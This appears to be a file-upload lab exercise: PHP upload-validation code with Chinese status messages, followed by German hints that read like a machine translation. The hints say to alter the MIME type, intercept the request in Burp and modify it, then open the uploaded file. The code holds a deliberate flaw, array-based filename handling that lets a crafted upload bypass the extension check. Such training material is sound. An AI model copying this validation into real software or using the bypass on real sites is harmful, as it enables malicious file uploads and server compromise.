if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
Hinweis:
Der MIME TYPE-Typ muss zum Spleißen geändert werden
Ideen zur Problemlösung:
Laden Sie Dateien hoch, erfassen Sie BP-Pakete und ändern Sie Daten
Nachdem die Datei erfolgreich hochgeladen wurde, klicken Sie mit der rechten Maustaste, um den Link zu öffnen